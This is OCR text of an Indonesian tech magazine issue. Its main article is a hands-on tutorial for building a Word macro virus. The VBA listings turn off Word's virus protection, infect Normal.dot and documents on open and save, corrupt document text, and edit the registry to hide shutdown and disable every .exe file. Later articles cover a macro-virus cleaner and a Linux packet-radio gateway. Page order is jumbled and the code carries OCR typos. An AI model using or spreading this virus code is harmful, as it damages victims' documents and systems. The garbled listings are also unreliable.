Virus Macro Virus ini sudah sangat dikenal bagi pengguna program aplikasi Microsoft Word. Virus inilah yang sering kali membuat pusing mahasiswa-mahasiswa, karena dokumennya yang berisi catatan skripsi rusak atau lebih parah lagi jadi hancur. Cerita yang menyedihkan yang pernah penulis sendiri alamai ini. Sekarang sudah banyak beredar antivirus dengan berbagai merek dagang yang bisa didapatkan secara gratis maupun dengan membayar untuk mengatasi virus. Tetapi kejadian menyedihkan tetap berulang kali terjadi. Banyak juga usaha penyewaan komputer yang tidak menggunakan program antivirus, yang akibatnya ketika masalah muncul menjadi sulit bahkan tidak bisa diatasi. Atas dasar hal itulah menjadikan sebuah rujukan kepada penulis untuk mengangkat topik mengenai virus macro. Dalam hal ini penulis mencoba mengajak para pembaca sekalian untuk terjun langsung melakukan praktek dalam membuat virus macro dan cara mengatasinya. Alasan yang ada kenapa penulis membuat orientasi pada kesempatan berikut ini seperti itu, dikarenakan penulis mencoba menjelaskan ternyata pembuatan virus ini sangat sederhana dan tidak sulit tetapi dapat memberikan dampak yang cukup besar seperti yang sudah pernah terjadi selama ini. Begitu juga dalam hal mengatasinya, tidak jauh berbeda dengan pembuatannya. Sebelum penulis memulai inti dari cerita kita pada kesempatan ini, penulis ingin sampaikan jika bahan penulisan artikel ini bahan-bahannya merupakan hasil penjelajahan di dunia maya internet, diskusi-diskusi, buku-buku, dan artikel-artikel yang memberikan masukkan penting hingga artikel ini tersajikan kepada para pembaca sekalian. Struktur Setiap virus yang hadir menemani perjalanan kita di dunia komputer dan internet, memiliki kesamaan antara satu dengan lainnya dalam hal struktur yang menjadikan rutinitasyang menjadi aturan main program virus untuk berkembang-biak. Artikel pertama penulis mengenai virus (Neotek Vol II, No. 11, Agustus 2002), ada baiknya dibaca demi membantu memahami artikel kali ini. Dapat disimpulkan, rutin yang ada pada virus macro yaitu:

Sampai disini, mari kita memulai praktek membuat virus macro berdasarkan rutinitas yang telah dijelaskan di atas. Tahap I: Membuat Virus Sign (Penanda Virus) Jalankan Microsoft Word, lalu tekan Alt+F11 untuk mengaktifkan Visual Basic Editor. Pada window aktif Visual Basic Editor, klik kanan pada file aktif yang diwakili oleh Project D (Document1), pilih sub Insert dan klik Module. Module tersebut itulah yang nantinya akan menjadi virus yang kita buat. Selanjutnya, akan muncul modul pada bagian Module di project. Sampai disini, kita keluar sebentar menuju window aktif Microsoft Word. Klik Tools hingga menu pulldown terlihat dan pilih Templates and Add-Ins... maka window dari Templates and Add-Ins muncul. Klik Organizer maka anda akan menuju window organizer. Pilih tab Macro Project Items.

1

2

Vol. IV No. 08 NeoTek

35

NeoTekno

Klik tulisan Module1 dan klik Rename maka dialog rename akan muncul, masukkan penanda virus yang anda inginkan. Setelah selesai klik OK. Selesai sudah membuat penanda virus kita. Hasil pengubahan terhadap yang dilakukan dapat dilihat dengan mengaktifkan kembali Visual Basic Editor. Hm... Bagaimana? Apakah pembuatan penanda virus yang dilakukan seseram virusnya? Ternyata tidak, malah lebih santai daripada memikirkan akibat yang akan kita coba timbulkan nanti pada virus macro buatan kita.

Klik maka Klik makan window window Securityakan Security akan muncul muncul

membentuk pertahanannya. Program aplikasi Microsoft Word sebenarnya memiliki pendeteksi program macro ilegal di options. Perhatikan pada gambar di bawah ini. Jadi fungsi tersebut perlu untuk dimatikan demi lancarnya usaha virus macro dalam melakukan aksinya kedepan. Berikut kode listing untuk mematikan fungsi anti macro ilegal.
Sub OptMSdie() Options.SaveNormalPrompt = False Options.VirusProtection = False Options.SavePropertiesPrompt = False Application.EnableCancelKey = wdCancelEnabled End Sub

3

Tahap I: Membuat Kode Listing Program Virus 2. Duplication Pada umumnya virus macro, dalam proses menggandakan dirinya dilakukan dengan memanfaatkan Global Template dari program aplikasi Microsoft Word atau kita lebih mengenalnya dengan Normal.dot dengan jalan melakukan infeksi pada normal.dot tersebut. Berikut merupakan kode listing program dalam melakukan infeksi tersebut. Kode lengkapnya dapat anda lihat pada lampiran kode listing program yang disertakan dalam CD.
Sub DocInfection() Dim Me2Doc As Boolean Me2Doc = False On Error Resume Next For Each tar In ActiveDocument.VBProject.VBComponents If tar.Name = "N30M4CR0T3K" Then Me2Doc = True If tar.Name <> "N30M4CR0T3K" And tar.Name <> "ThisDocument" Then Application.OrganizerDelete Source:=ActiveDocument.FullName, Name:=tar.Name, Object:=wdOrganizerObjectProjectItems .................... list not complete ..................... Sub DocTempInfection() Dim Tme2doc As Boolean Tme2doc = False On Error Resume Next For Each tar In NormalTemplate.VBProject.VBComponents If tar.Name = "N30M4CR0T3K" Then Tme2doc = True If tar.Name <> "N30M4CR0T3K" And tme3doc <> "ThisDocument" Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=tar.Name, Object:=wdOrganizerObjectProjectItems ....................... list not complete ............................

Selain kode listing di atas, demi mematikan pengamanan yang dilakukan Microsoft Word, ada beberapa hal-hal lain yang baik untuk dilakukan untuk membentuk pertahanan yang baik oleh program virus. Berikut salah satu kode listing program yang dibutuhkan tersebut
Sub ToolsOptions() Options.SaveNormalPrompt = True Options.SavePropertiesPrompt = True Options.VirusProtection = True Dialogs(wdDialogToolsOptions).Show OptMSdie End Sub

4. Active Time Ini merupakan rutin yang tidak kalah pentingnya yang harus dimiliki oleh program virus. Dengan rutin ini virus akan beraksi setelah mendapat aba-aba yang telah ditentukan untuk memulai infeksi penyebaran dirinya. Seperti di perlombaan lari, para pelari yang berada di garis START akan berlari setelah mendengar suara letusan pistol. Begitulah pengandaiannya kurang lebih. Dalam hal ini, perlu diperhitungkan baik-baik. Kita dapat tentukan seperti pada saat program MS. Word diaktifkan, saat sebuah file dibuka, saat menyimpan file, saat... saat .... lainnya. Untuk opsi yang telah disebutkan tadi, kode listing programnya adalah seperti berikut di bawah. Program MS Word Diaktifkan
Sub openW() WordOp = Documents.Count If WordOp <> 0 Then Normal.N30M4CR0T3K.DocInfection WordBasic.DisableAutoMacros False On Error Resume Next If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save Else: Application.OnTime Now + TimeValur ("00:00:25"), "Normal. N30M4CR0T3K.openW" End If End Sub

3. Defense Ada kata bijak yang mungkin anda pernah mendengarnya, yaitu Pertahanan yang baik adalah menyerang. Kata bijak tersebut yang umumnya digunakan oleh virus untuk
36

NeoTek Vol. IV No. 08

NeoTekno
File Dibuka
Sub openF() WordBasic.DisableAutoMacros =True On Error Resume Next If Dialogs(wdDialogFileOpen).Show <> 0 Then DocInfection ActiveDocument.Save End If WordBasic.DisableAutoMacros False End Sub Sub Ato2() With ActiveDocument..Content.Find .Text = "a" With .Replacement .Text = "2" End With .Execute Format: = True, Replace: = wdReplaceAll End With End Sub Sub Ato1() With ActiveDocument..Content.Find .Text = "i" With .Replacement .Text = "1" End With .Execute Format: = True, Replace: = wdReplaceAll End With End Sub

File Disimpan
Sub saveF() On Error Resume Next If ActiveDocument.Saved = False Then DocInfection DocTempInfection On Error Resume Next ActiveDocument.Save ActiveDocument.Saved = True End if End Sub

Bentuk lain dalam memanifulasi teks dapat anda kembangkan lagi dengan kode yang sama, seperti mengganti abjad "a" dengan kalimat "aku jadi malu"
Sub AtoAJM() With ActiveDocument..Content.Find .Text = "a" With .Replacement .Text = "aku jadi malu" End With .Execute Format: = True, Replace: = wdReplaceAll End With End Sub

5. Manipulation Manipulasi yang dapat dilakukan, dalam hal ini dapat dibedakan menjadi dua yaitu: a. Manipulasi Teks b. Manipulasi File Reg Sekarang kita bahas satu persatu dari kedua bentuk manipulasi tersebut. Manipulasi Teks Yang dimaksud dengan manipulasi teks adalah program virus yang ada memiliki kemampuan atau dalam beraksinya setelah berhasil meng-infeksi-kan dirinya, melakukan pengubahan terhadap teks yang dalam dalam file dokumen korbannya. Lihat listing berikut di bawah ini:
Sub AtoZ() With ActiveDocument..Content.Find .Text = "a" With .Replacement .Text = "2" End With .Execute Format: = True, Replace: = wdReplaceAll End With End Sub

Masih ada lagi bentuk manipulasi lain? Masih... sangat banyak. Tapi tentunya tidak semua yang akan dibahas disini. Menghabisi lembaran majalah kita aja yach? Tapi tak mengapalah kalau penulis dua contoh lagi untuk manipulasi teks. Sekarang memanipulasi teks dengan memanfaatkan fasilitas AutoCorrect, maksudnya disini, akan melakukan perubahan huruf yang akan diketikkan dengan kata yang kita inginkan, seperti ketika mengetikkan huruf "a" makan akan berubah menjadi "akan" atau huruf "b" menjadi "berubah". Bagi yang pernah menggunakan fasilitas autocorrect ini tentu akan mengerti sekali. Listing kode programnya adalah:
Sub ToolsAutoManager() On Error Resume Next AutoCorrect.Entries("a").Delete AutoCorrect.Entries("b").Delete AutoCorrect.Entries("c").Delete AutoCorrect.Entries("c").Delete AutoCorrect Entries.Add Name:="a", Value:="akan" AutoCorrect Entries.Add Name:="b", Value:="berubah" AutoCorrect Entries.Add Name:="c", Value:="cepat" AutoCorrect Entries.Add Name:="d", Value:="deh" End Sub

Dampak yang dihasilkan dari listing di atas yaitu mengubah seluruh abjad "a" menjadi angka "2" pada file dokumen korban (perhatikan gambar).

Hasil dari manipulasi teks tersebut lumayan mantap dan menyakitkan hati, apalagi jika ditambah satu lagi berikut yang berikut ini yang menimbulkan animasi terhadap teks.
Sub AnimT() Selection.HomeKey unit:=wdStory Selection.EndKey Unit:=wdStory, Extend:=wdExtend Selection.Font.Animation = wdAnimationSparkleText Selection.HomeKey Unit:=wdStory End Sub

Itu untuk satu mengganti huruf saja, bagaimana untuk mengganti lebih dari satu? Tinggal menambahkan saja seperti kode yang sudah ada, hanya target huruf yang dengan untuk pengubahan saja yang perlu diganti.

Manipulasi Registry Selain manipulasi teks, manipulasi lain yang dapat dilakukan adalah manipulasi file registry. Seperti yang kita ketahui registry merupakan salah satu hal yang sangat penting yang dimiliki oleh Windows. Contoh listing kode berikut, dapat menghilangkan opsi shutdown pada toolbar Start.
Sub SDdie() Open "\sd.reg" For Output As #1 Print #1, "REGEDIT4" Print #1, Print #1,

Vol. IV No. 08 NeoTek

37

NeoTekno
"[Hkey_Current_User\Sofware\Microsoft\Windows\CurrentVersion\Policies\Explo rer]" Print #1, """"; "NoClose"; """"; "dword:01" Close #1 On Error Resume Next Shell "regedit \sd.reg", vbHide Kill "\sd.reg" End Sub

Perilaku yang ada akibat kode yang ditimbulkan sudah cukup berbahaya karena akan membuat orang mematikan komputernya dengan menekan tombol power dan akibatnya akan mempengaruhi perilaku Windows nantinya. Satu lagi kode listing yang dapat menimbulkan hal berbahaya juga yaitu dapat melumpuhkan file berekstensi EXE (*.exe) seperti berikut:
Sub EXEdie() Open "\ex.reg" For Output As #1 Print #1, "REGEDIT4" Print #1, Print #1, "[-Hkey_Classes_Root\exefile]" Close #1 On Error Resume Next Shell "regedit \sd.reg", vbHide Kill "\ex.reg" End Sub

Anda dapat mengembangkannya lagi sesuai keinginan anda sendiri. Biar makin mantap, makin diperdalam registry. Setelah melihat penjelasan di atas, langkah terakhir dalam pembuatan virus macro adalah merakit kode listing yang telah dipersiapkan sebelumnya. Dalam arti kata, yang disusun dalan subroutines daripada virus yang akan dihasilkan. Kapan virus akan melakukan infeksi dan kapan pula aksi dimulai. Pembahasan berikut masih berhubungan dengan penjelasan di atas pada sub Active Time dan Manipulation, jadi bacanya jangan dilompat-lompat agar makin mudah memahaminya. Perhatikan kode listing pada sub Active Time untuk "File dibuka." Hal ini merupakan kondisi standar, karena yang terjadi hanya infeksi yang dilakukan virus tanpa menghasilkan efek-efek lainnya. Nah jika akan dilakukan dengan menambah efek-efek lainnya saat infeksi terjadi, maka perlu untuk dilakukan perakitan kode yang sudah ada. Lihat contoh kode listng berikut:
Sub openF() WordBasic.DisableAutoMacros =True On Error Resume Next If Dialogs(wdDialogFileOpen).Show <> 0 Then DocInfection ActiveDocument.Save Ato1 Ato2 AnimT SDdie EXEdie End If WordBasic.DisableAutoMacros False End Sub

merupakan duplikasi dari virus macro itu sendiri atau dalam arti kata memiliki sifat virus macro tetapi tugasnya justru untuk membersihkan suatu file *.doc yang terinfeksi virus macro. Menghajar virus macro dengan program sejenisnya. Seperti yang sudah kita ketahui, program virus macro melakukan infeksi dengan memanfaatkan file Normal.dot jadi untuk menjaga kesuciannya ada baiknya file Normal.dot dihapus saja. Jalan singkat yang lumayan memiliki risiko. Jika menjumpai virus macro menjangkiti file dokumen anda, cara lain untuk mengatasinya adalah menghapus rutin program virus macro dengan cara aktifkan file yang terinfeksi kemudian aktifkan Visual Basic Editor (tekan Alt+F11), dan periksa satu persatu sub-sub project di dalamnya dan hapus jika terdapat rutin program virus macro. Tetapi ada virus macro yang tidak mengijinkan anda mengaktifkan Editor Visual Basic. Jika mengalami hal ini harus gimana lagi? Yah kita mulai saja cara membuat penangkal virus macro. Jika masih bermasalah juga, jawaban terakhir adalah menggunakan program anti virus yang sudah ada. Susah-susah amat yach... Mari kita mulai, caranya tidak jauh berbeda dengan cara membuat virus macro. Jadi sebaiknya dibaca terlebih dahulu biar lebih asyik. VB Editor Aktifkan Microsoft Word, kemudian aktifkan Visual Basic Editor dengan menekan Alt+F11 atau dari Menu Standar Tools > Macro > Visual Basic Editor.

P

ENANGKAL YANG AKAN DIBUAT MEMILIKI KEUNIKAN YAITU

1

Pada kode listing tersebut, perakitan telah dilakukan. Saat infeksi (Perhatikan huruf tebal) terjadi maka efek-efek yang terjadi akan dilakukan. Selesai sudah perkerjaan kita. Silakan anda uji sendiri di komputer anda sendiri juga. Ingat ini hanya bentuk pembelajaran pada kita semua dengan tujuan agar kita tahu ternyata proses pembuatan virus macro ternyata mudah untuk dilakukan dan berarti bukan untuk dijadikan alat merusak. Penulis tidak bertanggung jawab atas tindakan negatif yang mungkin anda lakukan nantinya jikalau anda menjadikan hal yang telah dipaparkan sebagai alat untuk merusak.
38

Menambah Module Kita membutuhkan sebuah Module seperti juga yang dilakukan pada pembuatan virus macro. Disinilah nantinya pengetikkan listing kode program penangkal virus macro. Klik kanan Project D (Document1); akan muncul pilihan menu, pilih Insert kemudian klik Module.

2

NeoTek Vol. IV No. 08

NeoTekno

Membuat Penangkal Virus Macro
Setelah membahas cara membuat virus macro pada Word, MA Rody Candera (odyxb@melva.org) menunjukkan bahwa cara yang serupa dapat digunakan untuk membuat penangkal terhadap virus-virus macro.
Mengganti Nama Module Kembali ke window Word lalu klik Tools > Template and Add-Ins. Pada window Template Add-Ins, klik Organizer untuk mengaktifkan window Organizer. Setelah jendela organizer aktif, pilih tab Macro Project Items klik Rename dan ganti nama module dengan yang kita inginkan. Contoh: N304NT1

VI R U S DAN WO R M

3

Sub Pena97War() Options.SaveNormalPrompt = False Options.VirusProtection = False Options.SavePropertiesPrompt = False On Error Resume Next If ActiveDocument.Name <> "Pena97War.doc" Then p=1 v = MsgBox("Checked File : " + ActiveDocument.Name + " ...!!!", vbInformation, "Open File - Pena97War") On Error Resume Next For Each vir In ActiveDocument.VBProject.VBComponents If vir.Name <> "Pena97War" And vir.Name <> "ThisDocument" And vir.Name <> "MCPena97War" Then p=p+1 Set mok = ActiveDocument.VBProject.VBComponents.Item(p) xad1 = mok.CodeModule.Lines(1, mok.CodeModule.CountOfLines) v = MsgBox("Checking Module Content " + vir.Name, vbInformation, "Content of

Menambahkan UserForm

Kode Program

5

Kembali ke Visual Basic Editor, sekarang kita berada pada tahap pengetikkan kode program penangkal virus macro-nya. Klik double module kita tadi untuk mengaktifkan jendela kode editor. Listing lengkap kode program dapat anda lihat pada CD yang disertakan di majalah ini.

4

Kita perlu menambahkan sebuah Form pada projek ini. Klik kanan Project (Document1) lalu akan muncul pilihan menu, pilih Insert kemudian klik UserForm. Maka ana akan melihat sebuah Form Muncul bersama ToolBox Component yang mendukungnya. Vol. IV No. 08 NeoTek
39

NeoTekno
Set Layout UserForm Selanjutnya, atur tampilan Form yang muncul tadi dengan memanfaatkan toolbox.

6

Kode Program UserForm Klik double Form untuk memunculkan Kode Editor dan ketikkan kode program untuk Form. Seperti yang terlihat pada gambar di bawah. Kode programnya simple sekali. Final Step Kita sudah berada dipenghujung projek, langkah terakhir yang perlu kita lakukan adalah melakukan save projek kita. Simpa dengan nama file yang telah ditentukan sebelumnya, dalam hal ini penulis menggunakan nama filenya yaitu Pena97War.doc. Selesai sudah langkah-langkah pembuatan penangkal virus macro. Ternyata tidak sulit kan? Untuk lebih lengkapnya menambha wawasan kita bersama, sebaiknya kita kembali menggali informasi yang bersangkutan pada topik kita ini demi memperbaiki dan menyempurnakan pengetahuan kita dalam pembuatan penangkal virus macro. Penulis sangat menyadari sekali kekurangan yang ada mulai dari topik pembuatan virus macro sampai pada topik membuat penangkal virus macro.

TNC Telereader Mr. Packet

salah satu bentuk komunikasi data paket kecepatan rendah 300bps s/d 56kbps yang dikembangkan di dunia amatir radio sekitar akhir tahun 80-an. Protokol komunikasi data yang digunakan adalah AX.25 untuk melakukan packet switching di jaringan. Bagi yang penasaran dapat membaca berbagai referensi yang pernah saya tulis di http://www.bogor.net/idkf atau http://onno.vlsm.org/ Teknik ini masih digunakan di amatir radio, termasuk di Indonesia, karena kemampuannya untuk melakukan komunikasi data jarak jauh dengan biaya yang relatif murah jika sudah mempunyai peralatan radio baik itu Single Side Band (SSB) maupun peralatan rig VHF (2 meter-an) atau UHF (70 cm-an). Bagi anda yang berkeinginan untuk akses Internet berkecepatn 11Mbps ke atas, sebaiknya anda menggunakan WiFi atau lebih di kenal sebagai Wireless LAN karena investasinya jauh lebih murah. Peralatan Wireless LAN bekerja pada frekuensi 2.4GHz, sehingga seseorang dengan lisensi amatir radio minimal tingkat penggalang (YC) dapat beroperasi di frekuensi tersebut tanpa perlu minta ijin khusus ke POSTEL. Tulisan ini akan menjelaskan langkah-langkah yang diperlukan untuk menginstalasi sebuah gateway packet radio yang bekerja di VHF 2 meter band. Sebetulnya gateway packet radio yang saya instalasi di rumah juga tersambung ke Internet dan di kenal oleh mesin di Internet, sehingga dapat mengirim dan menerima e-mail dari/ke Internet menggunakan domain ampr.org (Amateur Packet Radio).

T

EKNOLOGI KOMUNIKASI DATA PACKET RADIO MERUPAKAN

Catatan Kecil Penggunaan Paket Radio
Sekedar catatan, tulisan ini di tujukan untuk menginstalasi gateway packet radio dari/ke Internet. Tulisan ini bukan di tujukan untuk pengguna packet radio biasa. Untuk pengguna packet radio biasa, kontruksi dan cara settingnya jauh lebih sederhana hampir tidak perlu melakukan banyak setting seperti hal-nya gateway. Perbedaan konstruksi packet radio untuk pengguna biasa dan untuk gateway

40

NeoTek Vol. IV No. 08

NeoTekno

Instalasi Gateway di Linux
Daerah anda tidak ada layanan telkom? Lalu bagaimana bisa berinternet? Onno W. Purbo (onno@indo.net.id) setelah sebelumnya membahas wi-fi, kini membahas penyediaan infrastruktur internet menggunakan radio amatir.
Rekan-rekan banyak yang menggunakan PC + sound card dengan system operasi Windows. Untuk komunikasi packet radio menggunakan software AGWPE yang lebih baru dari Flexnet, dan dapat mengenal banyak soundcard PC. Mic dan speaker soundcard dapat di sambungkan ke peralatan radio/walkie talkie yang digunakan untuk berhubungan dengan instalasi gateway packet radio. AGWPE dapat di ambil di http://www.raag.org/sv2agw/inst.htm Bagi anda yang hanya berfungsi sebagai user & tidak menjalankan servis apapun, lebih di sarankan untuk menggunakan Terminal Node Controler (TNC) atau sound card modem tanpa menjalankan servis TCP/IP. Anda dapat login ke salah satu gateway atau servis yang beroperasi dan menggunakan TCP/IP di server tersebut. Bagi anda yang lebih advance dapat mengujicoba jaringan TCP/IP di amatir radio dengan berkoordinasi di mailing list orari-news@yahoogroups.com. baca manual tersebut baik-baik, versi software yang digunakan memang agak ketinggalan, tetapi banyak hal yang perlu di mengerti dapat di baca di manual tersebut. Ambil berbagai paket software di http://sourceforge.net/projects/ax25/ Ambil paket dari versi terbaru dari libax25 seperti libax25-0.0.11.tar.gz ax25-tools seperti ax25-tools-0.0.8.tar.gz ax25-apps seperti ax25-apps-0.0.6.tar.gz Sebaiknya juga mengambil melalui http://www.rpmfind.net ambil paket ax25-utils-2.1.42a-3.i386.rpm dalam ax25-utils, terdapat beberapa software tambahan seperti Buletin Board System (BBS) dll.

I NTE R N ET PAK ET R AD I O

Peralatan yang Dibutuhkan
Yang saya gunakan di rumah pada saat ini adalah: • PC Pentium 75MHz, RAM 64Mbyte dan harddisk 20Gbyte.
RAM perlu di upgrade ke 64Mbyte supaya enak untuk di instalasi Linux Mandrake. Harddisk yang dibutuhkan sebetulnya hanya 2 Gbyte, akan tetapi susah mencari harddisk 2 Gbyte, harddisk bekas yang saya dapat minimal 20Gbyte seharga Rp 200.000,-. • • Linux Mandrake 9.0. Tidak perlu kita menggunakan distro yang terbaru. Kebaikan Linux Mandrake, modul-modul untuk mendukung operasi packet radio sudah tersedia di kernel. Walkie Talkie/Handy Talkie (HT) ICOM IC02N untuk bekerja di amatir radio 2 meter band. Kebetulan HT jenis ini yang saya miliki di rumah, harga bekas di pasaran sekitar Rp 300-500.000,-. Coax dan antenna hygain 2 meter-an. Terminal Node Controller (TNC) Telereader Mr. Packet TNC220. Ini lumayan sulit untuk diperoleh di Indonesia. Saya kebetulan di sumbang oleh Bapak Budi YB0HD salah satu pengurus ORARI Jakarta untuk melakukan experimen ini. Di Bandung, dulu dapat di beli di YB1CS di Jalan Sabang. Bagi anda yang betul-betul berminat dapat menanyakan ke mailing list orari-news@yahoogroups.com.

Persiapan Kernel Linux
Jika anda menggunakan Linux Mandrake, maka anda cukup beruntung karena berbagai modul untuk keperluan amatir radio sudah di compile dalam kernel Mandrake.

• •

Sebetulnya saya juga beberapa melakukan experimen menggunakan soundcard SoundBlaster SB16, tetapi entah kenapa masih banyak gagal.

Software yang Dibutuhkan
Sebelum melakukan instalasi sebaiknya mengambil manual untuk instalasi packet radio di Linux di URL berikut: http://www.ibiblio.org/pub/Linux/docs/ HOWTO/otherformats/pdf/AX25-HOWTO.pdf

Konfigurasi peralatan yang dibutuhkan Vol. IV No. 08 NeoTek
41

NeoTekno
Setelah ax25-tools terinstall, selanjutnya install ax25-apps:
# cp ax25-apps-0.0.6.tar.gz /usr/local/src # cd /usr/local/src # tar zxvf ax25-apps-0.0.6.tar.gz # cd ax25-apps-0.0.6 # ./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var # make # make install # make installconf

Jika anda menemui error yang berbunyi kira-kira
gcc -Wall -Wstrict-prototypes -O2 -I../lib -c call.c call.c: In function `statline': call.c:268: warning: implicit declaration of function `attron' call.c:268: `A_REVERSE' undeclared (first use this function) call.c:268: (Each undeclared identifier is reported only once call.c:268: for each function it appears in.)

Handy talkie amatir radio 2 meter band Jika anda menggunakan distro selain Linux, maka anda perlu mengcompile ulang kernel yang digunakan supaya di masukan modul/subroutine pendukung operasi amatir radio (AX.25). Tentunya jangan lupa install semua paket pendukung pekerjaan development pada saat kita menginstall Linux, seperti gcc, make dll. Hal ini diperlukan untuk mengcompile paket AX.25. Kita masih perlu meng-edit file /etc/modules.conf masukan entry di bawah ini:
alias net-pf-3 alias net-pf-6 alias net-pf-11 alias tty-ldisc-1 alias tty-ldisc-3 alias tty-ldisc-5 alias bc0 alias nr0 alias pi0a alias pt0a alias scc0 alias sm0 alias tunl0 alias char-major-4 alias char-major-5 alias char-major-6 ax25 netrom rose slip ppp mkiss baycom netrom pi2 pt optoscc soundmodem newtunnel serial serial lp

maka berarti library ncurses belum di install. Di Mandrake 9.0 library tersebut ada di CDROM distribusi dan dapat diinstall melalui perintah # rpm -ivh ncurses4-5.0-9.i386.rpm Biasanya library ncurses akan di install secara automatis di Linux Mandrake. Bagi anda yang ingin mencoba hal-hal yang lebih advance dapat menginstalasi paket ax25-utils melalui perintah # rpm -ivh ax25-utils-2.1.42a-3.i386.rpm Selesai sudah instalasi semua paket program pendukung operasi AX.25 di Linux. Hal selanjutnya yang perlu dilakukan adalah: 1. Mengkonfigurasi modem atau Terminal Node Controller Packet Radio agar dapat berbicara ke Linux. 2. Mengkonfigurasi modul AX.25 di Linux agar dapat beroperasi dengan benar di jaringan amatir radio Indonesia.

Teknik Menyiapkan TNC (Terminal Node Controller)
Ada dua hal utama yang harus dilakukan terhadap Terminal Node Controller (TNC) packet radio agar dapat beroperasi di jaringan Internet (TCP/IP), yaitu: 1. Menyambungkan TNC ke peralatan radio dan komputer 2. Mengaktifkan mode KISS di TNC. Untuk menyambungkan TNC ke komputer biasanya kita menggunakan kabel serial yang menghubungkan port serial di TNC ke port COM1 atau COM2 di PC. Saya menggunakan COM1 di PC. Untuk menyambungkan TNC Telereader TNC-220 ke peralatan HT ICOM IC02N relatif mudah karena di panel muka TNC-220 terdapat tempat colokan mic & speaker yang dapat langsung di sambungkan ke HT IC02N. Kita cukup membeli konektor audio biasa maupun yang agak kecil untuk keperluan tersebut seharga beberapa ratus rupiah di Glodok. Terminal Node Controller (TNC) adalah modem khusus yang di rancang untuk operasi komunikasi data paket di jaringan amatir radio. TNC dirancang untuk dihubungkan ke terminal atau komputer yang menjalankan program komunikasi terminal, misalnya hyperterminal di Windows. Biasanya kecepatan komunikasi serial yang digunakan antara PC/terminal dengan TNC adalah 9600bps. Agar TNC dapat bekerja dengan Linux yang menjalankan protocol TCP/IP, maka kita perlu mengaktifkan mode Keep It Simple Stupid (KISS) yang pada dasarnya mem-bypass semua mekanisme protocol yang ada di TNC dan menggunakan mekanisme protocol yang di operasikan dari PC.

Instalasi Software Paket Radio di Linux
Install libax25 melalui perintah
# cp libax25-0.0.11.tar.gz /usr/local/src # cd /usr/local/src # tar zxvf libax25-0.0.11.tar.gz # cd libax25-0.0.11 # ./configure --exec_prefix=/usr --sysconfdir=/etc -localstatedir=/var # make # make install # make installconf

make installconf akan menginstall contoh konfigurasi yang kita butuhkan ke dalam folder /etc/ax25. Setelah libax25 di install, selanjutnya kita menginstall ax25-tools, melalui perintah:
# cp ax25-tools-0.0.8.tar.gz /usr/local/src # cd /usr/local/src # tar zxvf ax25-tools-0.0.8.tar.gz # cd ax25-tools-0.0.8 # ./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var # make # make install # make installconf 42

NeoTek Vol. IV No. 08

NeoTekno
Mengaktifkan mode KISS dari hyperterminal melalui prompt cmd: dapat ditulis:
cmd: kiss on cmd: restart

file /etc/ax25/axports.

Mengkonfigurasi Routing AX.25
Untuk stasiun-stasiun paket radio yang kecil kadang kala kita perlu merelay melalui relay paket radio (istilahnya digital repeater atau digipeater). Untuk memaksa agar semua paket yang ditujukan kepada YD0LQZ di relay melalui YC0ZPV yang merupakan digipeater, dapat dilakukan menggunakan perintah axparms berikut: # /usr/sbin/axparms -route add ax0 YD0LQZ YC0ZPV

Bagi anda yang menggunakan NOS (software Network Operating System di DOS) dan sudah mengaktifkan saluran komunikasi serial ke TNC dengan nomor port ax0, dapat menggunakan perintah berikut:
param ax0 255 tr ax0 111 kiss on

Teknik Mengkonfigurasi Linux AX.25
Langkah selanjutnya yang perlu dilakukan di sisi server Linux yang akan menjadi gateway packet radio adalah: 1. Mengaktifkan KISS device 2. Mengkonfigurasi AX.25 port 3. Mengkonfigurasi AX.25 routing jika di perlukan 4. Mengkonfigurasi routing TCP/IP di atas interface AX.25

Memonitor Traffic Di Jaringan AX.25
Jika anda ingin memonitor traffic AX.25 yang ada di jaringan packet radio, dapat dilakukan melalui perintah $ /usr/bin/listen -a anda dapat belajar banyak dengan memonitor packet yang lewat, jangan lupa membaca-baca referensi tentang protokol AX.25. Terus terang, dalam banyak hal protokol Wireless LAN IEEE 802.11 juga banyak kesamaannya dengan protokol AX.25, karena memang orang-orang yang mengembangkannya sebagian adalah orang amatir radio yang berkecimpung di packet radio seperti KA9Q.

Mengaktifkan KISS device
Bagi anda yang menggunakan Terminal Node Controller (TNC), mengaktifkan device KISS sama sekali tidak sukar. Bagi anda yang ingin menggunakan soundcard sebagai modem packet radio, teknik mengaktifkan-nya agak lebih sukar sedikit dan dapat di baca di AX.25 HOWTO. Di bawah ini adalah teknik mengaktifkan device KISS agar Linux dapat berbicara ke Terminal Node Controller (TNC): # /usr/sbin/kissattach /dev/ttyS0 -m 255 ax0 # /usr/sbin/kissparms -p ax0 -t 100 -s 100 -r 25 Pada perintah kissattach kita dapat memberitahukan nama device KISS (ax0), nilai Maxium Transmission Unit (MTU) 255 byte (-m 255), dan serial port yang digunakan untuk komunikasi ke Terminal Node Controller adalah COM1 (/dev/ttyS0). Melalui file /etc/ax25/axports kita menghubungkan /dev/ttyS0 dengan nama port 'ax0'. Setelah device KISS di attach, yang selanjutnya perlu dikonfigurasi adalah parameter dari Terminal Node Controller (TNC) melalui perintah kissparms Dalam contoh di atas KISS device yang digunakan di konfigurasi agar txdelay (-t) dan slottime (-s) 100 milliseconds dan ppersist (-r) 25. Bagi anda yang menggunakan rig PLL sebaiknya txdelay di naikan menjadi sekitar 200 milliseconds.

Konfigurasi Routing TCP/IP di atas AX.25
Sebetulnya teknik konfigurasi routing TCP/IP di atas jaringan packet radio AX.25 sama dengan teknik konfigurasi routing TCP/IP di atas jaringan Internet biasa. Bagi anda yang belum terbiasa dengan teknik routing TCP/IP ada baiknya membaca buku saya yang berjudul TCP/IP konsep disain & implementasi yang berwarna hitam & ada di toko buku Gramedia. Berikut adalah contoh sederhana konfigurasi routing TCP/IP:
# /usr/sbin/kissattach -m 256 /dev/ttyS0 ax0 # /sbin/ifconfig ax0 44.136.8.6 netmask 255.255.255.0 # /sbin/route add -net 44.136.8.0 netmask 255.255.255.0 ax0 # /sbin/route add default ax0

Mengkonfigurasi port AX.25
